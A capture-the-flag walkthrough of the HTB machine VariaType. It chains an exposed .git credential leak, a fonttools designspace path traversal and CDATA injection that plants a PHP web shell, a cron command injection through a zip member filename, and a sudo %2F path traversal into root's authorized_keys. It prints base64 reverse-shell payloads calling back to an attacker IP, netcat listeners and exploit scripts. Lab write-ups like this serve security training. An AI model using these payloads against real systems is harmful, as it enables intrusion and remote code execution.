VariaType Walkthrough

Machine: VariaType#

Date: 14-03-2026 Platform: HTB Status: [Rooted]


πŸ” Recon#

Nmap#

nmap -sC -sV -oN scans/nmap.txt $MACHINE_IP
Results:#
  • Port 22 β†’ SSH (OpenSSH 9.2p1 Debian 2+deb12u7)
  • Port 80 β†’ HTTP (nginx 1.22.1) β€” redirects to http://variatype.htb/
Notes:#
  • Added variatype.htb to /etc/hosts
  • nginx acting as reverse proxy in front of a Flask/Python application
  • OpenSSH 9.2p1 on Debian 12 Bookworm β€” recent version, no direct attack vector
  • Virtual host enumeration is critical β€” subdomain discovery unlocked the attack chain

πŸ“‚ Enumeration#

Web Application β€” variatype.htb#

Navigating to http://variatype.htb/ reveals VariaType Labs, a professional variable font generation service. Three routes exposed via the navbar:

  • / β€” Home page describing a variable font generator service
  • /services β€” Professional typography services page; mentions fonttools, fontmake, gftools β€” hints at the underlying stack
  • /tools/variable-font-generator β€” File upload form accepting a .designspace XML file and master fonts (.ttf/.otf)

Successful submissions generate a downloadable variable font available at /download/<token>.

Directory & Subdomain Fuzzing#

# Directory fuzzing β€” only /services returned anything useful
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt \
  -u "http://variatype.htb/FUZZ" -c -mc 200,301,302,403

# Subdomain discovery β€” KEY FINDING
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -u "http://variatype.htb/" -H "Host: FUZZ.variatype.htb" -c -fs <default_size>

Result: portal.variatype.htb discovered β€” added to /etc/hosts alongside variatype.htb.

⚠️ This subdomain was the critical missing piece that unlocked the entire attack chain.

Exposed Git Repository β€” portal.variatype.htb#

The portal subdomain hosts a PHP Validation Dashboard. A .git directory was exposed at the root, allowing full source code recovery including deleted content from commit history.

pip3 install git-dumper --break-system-packages
git-dumper http://portal.variatype.htb/.git ./repo
cd repo

git log --oneline --all
# 753b5f5 (HEAD -> master) fix: add gitbot user for automated validation pipeline
# 5030e79 feat: initial portal implementation

# Diff reveals hardcoded credentials in deleted commit content
git diff 5030e79 753b5f5
# diff --git a/auth.php b/auth.php
# +$USERS = [
# +    'gitbot' => 'G1tB0t_Acc3ss_2025!'
# +];

Credentials recovered: gitbot / G1tB0t_Acc3ss_2025!

Portal Dashboard Analysis#

Logging in at portal.variatype.htb with the gitbot credentials reveals a Validation Dashboard listing all TTF files generated by the main app. Each entry has View and Download options.

  • view.php?f=<filename> β€” only displays file metadata (size, last modified, VALID badge). No PHP include, no LFI.
  • download.php?f=<filename> β€” serves the raw TTF file

Flask Application Source Code (post-exploitation)#

After gaining www-data access, /opt/variatype/app.py revealed the full Flask internals:

UPLOAD_FOLDER  = '/tmp/variabype_uploads'
DOWNLOAD_FOLDER = '/var/www/portal.variatype.htb/public/files'
SECRET_KEY = '[REDACTED]'

# Processing via subprocess:
subprocess.run(['fonttools', 'varLib', 'config.designspace'], cwd=workdir, ...)

πŸ’₯ Exploitation#

CVE-2025-66034 β€” fonttools varLib: Arbitrary File Write + XML Injection#

The variable font generator uses fontTools.varLib to process .designspace files. CVE-2025-66034 chains two vulnerabilities:

  1. Path traversal β€” the <variable-font filename='...'> attribute is passed directly to os.path.join() without sanitisation, allowing writes to arbitrary filesystem paths.
  2. XML injection β€” CDATA sections in <labelname> elements embed attacker-controlled content into the generated TTF’s name table.
# Vulnerable code in fontTools/varLib/__init__.py:
filename = vf.filename                            # Unsanitised
output_path = os.path.join(output_dir, filename)  # Path traversal
vf.save(output_path)                              # Arbitrary file write

Step 1 β€” Mapping the Directory Structure via Path Traversal#

Through systematic testing of which paths accepted writes without error, the working directory structure was mapped:

PathResult
./output.ttfβœ… Works β€” base case
../download/<token>βœ… Works β€” confirmed one level up
../../download/βœ… = /var/www/portal.variatype.htb/public/files/
../../static/css/βœ… Works β€” app root is two levels up
../../βœ… = /opt/variatype/ (Flask app root)
../../../etc/passwd❌ Fonttools fails silently β€” read primitive unavailable

Step 2 β€” Generating Compatible Two-Master Fonts#

The CDATA XML injection only works when fonttools generates a variable TTF with full variable font tables (fvar, gvar, STAT, HVAR). This requires two compatible master fonts for interpolation. Single-master fonts produce a static TTF where labelname content is discarded.

# make_ttf.py β€” generates two compatible master fonts
from fontTools.fontBuilder import FontBuilder
from fontTools.pens.ttGlyphPen import TTGlyphPen

def make_ttf(filename, weight):
    fb = FontBuilder(1000, isTTF=True)
    fb.setupGlyphOrder([".notdef"])
    fb.setupCharacterMap({})
    pen = TTGlyphPen(None)
    pen.moveTo((0,0)); pen.lineTo((500,0))
    pen.lineTo((500,500)); pen.lineTo((0,500))
    pen.closePath()
    fb.setupGlyf({".notdef": pen.glyph()})
    fb.setupHorizontalMetrics({".notdef": (500, 0)})
    fb.setupHorizontalHeader(ascent=800, descent=-200)
    fb.setupOS2(usWeightClass=weight)
    fb.setupPost()
    fb.setupNameTable({"familyName": "Test", "styleName": f"Weight{weight}"})
    fb.save(filename)

make_ttf("source-light.ttf", 100)
make_ttf("source-regular.ttf", 400)

Step 3 β€” XML Injection via CDATA Sections#

With two compatible masters, fonttools generates a variable TTF that stores labelname strings in the name table. The nested CDATA technique embeds arbitrary content including PHP code:

Syntax: <![CDATA[PAYLOAD]]]]><![CDATA[>]]>
Result in output: PAYLOAD]>

Verified via hexdump of the generated TTF at offset 0x299:

TestWeight400<?php echo shell_exec("echo 'BASE64'|base64 -d|bash");?>]]>ThinMEOW2

Step 4 β€” Discovering the PHP Webroot#

The portal PHP files are served by PHP-FPM. Finding the correct webroot required testing multiple paths:

PathResult
../../../../opt/variatype/portal/βœ… Accepts write, ❌ nginx does not execute PHP
../../../../var/www/portal.variatype.htb/public/βœ… Accepts write, ❌ /shell.php returns 404
../../../../var/www/portal.variatype.htb/public/files/βœ… PHP EXECUTED βœ…

Step 5 β€” Final Exploit#
<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
  <axes>
    <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
      <!-- CDATA injection embeds PHP reverse shell in the TTF name table -->
      <labelname xml:lang="en"><![CDATA[<?php echo shell_exec("echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yNTIvNDQ0NiAwPiYxCg=='|base64 -d|bash");?>]]]]><![CDATA[>]]></labelname>
      <labelname xml:lang="fr">MEOW2</labelname>
    </axis>
  </axes>
  <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/>
  <sources>
    <source filename="source-light.ttf" name="Light">
      <location><dimension name="Weight" xvalue="100"/></location>
    </source>
    <source filename="source-regular.ttf" name="Regular">
      <location><dimension name="Weight" xvalue="400"/></location>
    </source>
  </sources>
  <variable-fonts>
    <!-- Path traversal writes shell.php to the PHP-FPM webroot -->
    <variable-font name="MyFont"
      filename="../../../../var/www/portal.variatype.htb/public/files/shell.php">
      <axis-subsets><axis-subset name="Weight"/></axis-subsets>
    </variable-font>
  </variable-fonts>
  <instances>
    <instance name="Display Thin" familyname="MyFont" stylename="Thin">
      <location><dimension name="Weight" xvalue="100"/></location>
      <labelname xml:lang="en">Display Thin</labelname>
    </instance>
  </instances>
</designspace>
# Start listener
nc -lvnp 4446

# Upload malicious.designspace + source-light.ttf + source-regular.ttf
# to http://variatype.htb/tools/variable-font-generator

# Trigger PHP execution
curl http://portal.variatype.htb/files/shell.php

Result: Reverse shell as www-data βœ…


Failed Approaches#

AttemptReason for Failure
XXE injection in .designspaceServer uses safe XML parser β€” no external entity resolution
Out-of-band XXE via HTTP listenerNo outbound connections from server
Single-master TTF with labelname CDATAContent not embedded without variable font tables
Path traversal in source filename to read filesFonttools fails silently, no file contents returned
Writing PHP to /opt/variatype/portal/nginx does not execute PHP from this path
Overwriting Flask templates (index.html)Flask caches templates in memory β€” no disk reload
Forging Flask session cookies with SECRET_KEYNo privileged Flask endpoints to exploit
Writing SSH authorized_keys directly.ssh directories did not exist for any user
PHP path info tricks & double-slash URLsFlask routing neutralised these
Writing to Python dist-packages .pth filesPaths did not exist on this system

⚑ Privilege Escalation#

www-data β†’ steve#

Discovery: Font Processing Pipeline Cron Job#

Enumerating /opt revealed /opt/process_client_submissions.bak β€” a backup of a cron script run by user steve. It scans /var/www/portal.variatype.htb/public/files/ for font files including .zip archives and processes them with FontForge. The critical vulnerability: the $file variable is interpolated unsafely inside a bash double-quoted string passed to fontforge -lang=py -c:

# Vulnerable section of process_client_submissions.bak:
for file in $ext; do
    if timeout 30 /usr/local/src/fontforge/build/bin/fontforge -lang=py -c "
    import fontforge
    font = fontforge.open('$file')   # <-- bash interpolates $file here!
    ...
    "; then
        log "SUCCESS: Validated $file"
    fi
    mv "$file" "$PROCESSED_DIR/"
done

The script enforces a strict regex ^[a-zA-Z0-9._-]+$ on direct filenames. However, it also processes .zip archives β€” and the inner filenames inside the zip are not validated before being extracted and processed.

Exploit: Malicious ZIP with Command Injection Filename#
# Run as www-data in the upload directory
import zipfile

# Outer zip name passes the regex
zip_name = "validfont.zip"

# Inner filename contains command injection
# Payload: bash -i >& /dev/tcp/10.10.14.252/4449 0>&1
inner = "$(echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yNTIvNDQ0OSAwPiYxCg==|base64 -d|bash).ttf"

with zipfile.ZipFile(zip_name, "w", zipfile.ZIP_DEFLATED) as z:
    z.writestr(inner, "dummy content")
# Listener on attacker machine
nc -lvnp 4449

# Place validfont.zip in /var/www/portal.variatype.htb/public/files/
# Wait for steve's cron job to run
# bash expands $(...) in the extracted filename -> reverse shell as steve

Result: Reverse shell as steve βœ…


steve β†’ root#

Discovery: Sudo Privilege#
sudo -l
# User steve may run the following commands on variatype:
#     (root) NOPASSWD: /usr/bin/python3 /opt/font-tools/install_validator.py *

install_validator.py downloads a plugin from a user-supplied URL and installs it to /opt/font-tools/validators/. The destination filename is extracted from the URL using os.path.basename().

CVE-2025-47273 β€” Path Traversal via URL-Encoded Slashes#

When the URL path contains %2F (URL-encoded /), Python’s urllib decodes it before os.path.basename() processes the path. This causes the resolved install destination to escape the intended validators/ directory.

# Generate SSH key pair on attacker machine
ssh-keygen -t ed25519 -f /tmp/variatype_key -N ""
cp /tmp/variatype_key.pub authorized_keys

# Custom HTTP server β€” serves authorized_keys to any request path
python3 custom_server.py  # listens on port 8888
# custom_server.py
from http.server import BaseHTTPRequestHandler, HTTPServer

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        data = open("authorized_keys", "rb").read()
        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.send_header("Content-Length", str(len(data)))
        self.end_headers()
        self.wfile.write(data)

HTTPServer(("0.0.0.0", 8888), Handler).serve_forever()
# Exploit: %2F bypasses basename() sanitisation
sudo /usr/bin/python3 /opt/font-tools/install_validator.py \
  "http://10.10.14.252:8888/%2Froot%2F.ssh%2Fauthorized_keys"

# Output:
# [INFO] Plugin installed at: /root/.ssh/authorized_keys
# [+] Plugin installed successfully.

# SSH as root
ssh -i /tmp/variatype_key [email protected]

Result: Root shell βœ…

Failed Attempts for Root#
AttemptResult
Double-slash URL (http://attacker//root/.ssh/...)basename() extracted only authorized_keys β€” wrote to validators/
Unencoded path traversal (/../../root/.ssh/...)basename() neutralised it
%2F URL encodingβœ… Works β€” urllib decodes before basename() runs

🎯 Loot / Flags#

  • user.txt: [FLAG REDACTED]
  • root.txt: [FLAG REDACTED]

πŸ”— Attack Chain Summary#

Nmap (port 80 β†’ variatype.htb)
  └─► Subdomain fuzzing β†’ portal.variatype.htb
        └─► Exposed .git β†’ gitbot credentials (G1tB0t_Acc3ss_2025!)
              └─► Portal login β†’ Validation Dashboard (lists TTFs)
                    └─► CVE-2025-66034:
                          Two-master TTFs + CDATA XML injection + path traversal
                          β†’ shell.php written to PHP-FPM webroot
                          β†’ curl triggers PHP β†’ www-data shell
                                └─► /opt/process_client_submissions.bak
                                      β†’ steve's cron processes uploads including zips
                                      β†’ malicious ZIP with $() filename
                                      β†’ command injection β†’ steve shell
                                            └─► sudo -l β†’ install_validator.py (root)
                                                  β†’ CVE-2025-47273: %2F bypass
                                                  β†’ authorized_keys β†’ /root/.ssh/
                                                  β†’ SSH as root βœ…

πŸ“ Lessons Learned#

  • Always enumerate subdomains early β€” portal.variatype.htb was the pivotal finding. Without it, the entire attack chain (git repo, PHP portal, file pipeline) would have been missed.
  • Check exposed .git directories on every subdomain β€” deleted commits are trivially recoverable and frequently contain credentials.
  • Read CVE PoCs carefully and understand preconditions β€” CVE-2025-66034 only works with two-master variable fonts. Single-master fonts discard labelname content. This was not obvious from the advisory summary.
  • The CDATA injection syntax (<![CDATA[PAYLOAD]]]]><![CDATA[>]]>) requires exact formatting β€” the double CDATA is necessary to escape the closing bracket sequence within the payload.
  • Arbitrary file write requires knowing the exact target path β€” systematic testing of which paths accept writes without error, combined with knowledge of how nginx routes PHP requests, was essential to finding the correct webroot.
  • Always enumerate /opt and check .bak files β€” process_client_submissions.bak revealed the entire privesc chain to steve, including the unsafe bash filename interpolation.
  • Bash command injection via filenames inside archives bypasses outer filename regex checks β€” when a script extracts and processes archive contents, all inner filenames must also be sanitised.
  • For sudo privesc involving URL processing, test %2F-encoded slashes β€” Python’s urllib decodes %2F before os.path.basename() runs, potentially escaping intended directory restrictions.
  • Document all failed attempts β€” understanding why XXE, LFI, template injection, and Flask reload tricks failed prevented revisiting dead ends.

Tools Used#

ToolPurpose
nmapPort and service enumeration
ffufSubdomain and directory fuzzing
git-dumperRecovering exposed git repositories
Burp SuiteHTTP interception and analysis
fonttools (Python)Generating compatible two-master TTF source fonts
netcatReverse shell listeners
Python http.server (custom)Serving malicious authorized_keys
zipfile (Python stdlib)Crafting malicious ZIP archives

CVEs Exploited#

CVEDescriptionCVSS
CVE-2025-66034fonttools varLib: Arbitrary File Write + XML injection via unsanitised .designspace processing. Affected: >= 4.33.0, Patched: 4.60.26.3 Moderate
CVE-2025-47273install_validator.py: Path traversal via %2F URL-encoded slashes bypassing os.path.basename() when run with elevated privilegesβ€”

#Linux #HTB #Enumeration #Web #Nginx #Flask #SubdomainFuzzing #VirtualHost #Git #GitDumper #CredentialExtraction #PHP #FileUpload #DesignSpace #XMLInjection #PathTraversal #ArbitraryFileWrite #CVE #CVE-2025-66034 #ReverseShell #FontTools #TTF #Zip #CommandInjection #Cron #LateralMovement #SSH #Sudo #Python #CVE-2025-47273 #PrivilegeEscalation #PostExploitation


Adapted from MountainFlayer/htb-writeups under MIT.

Find us elsewhere

Merch, stickers, and moreSupport the work at the Solvere Labs shop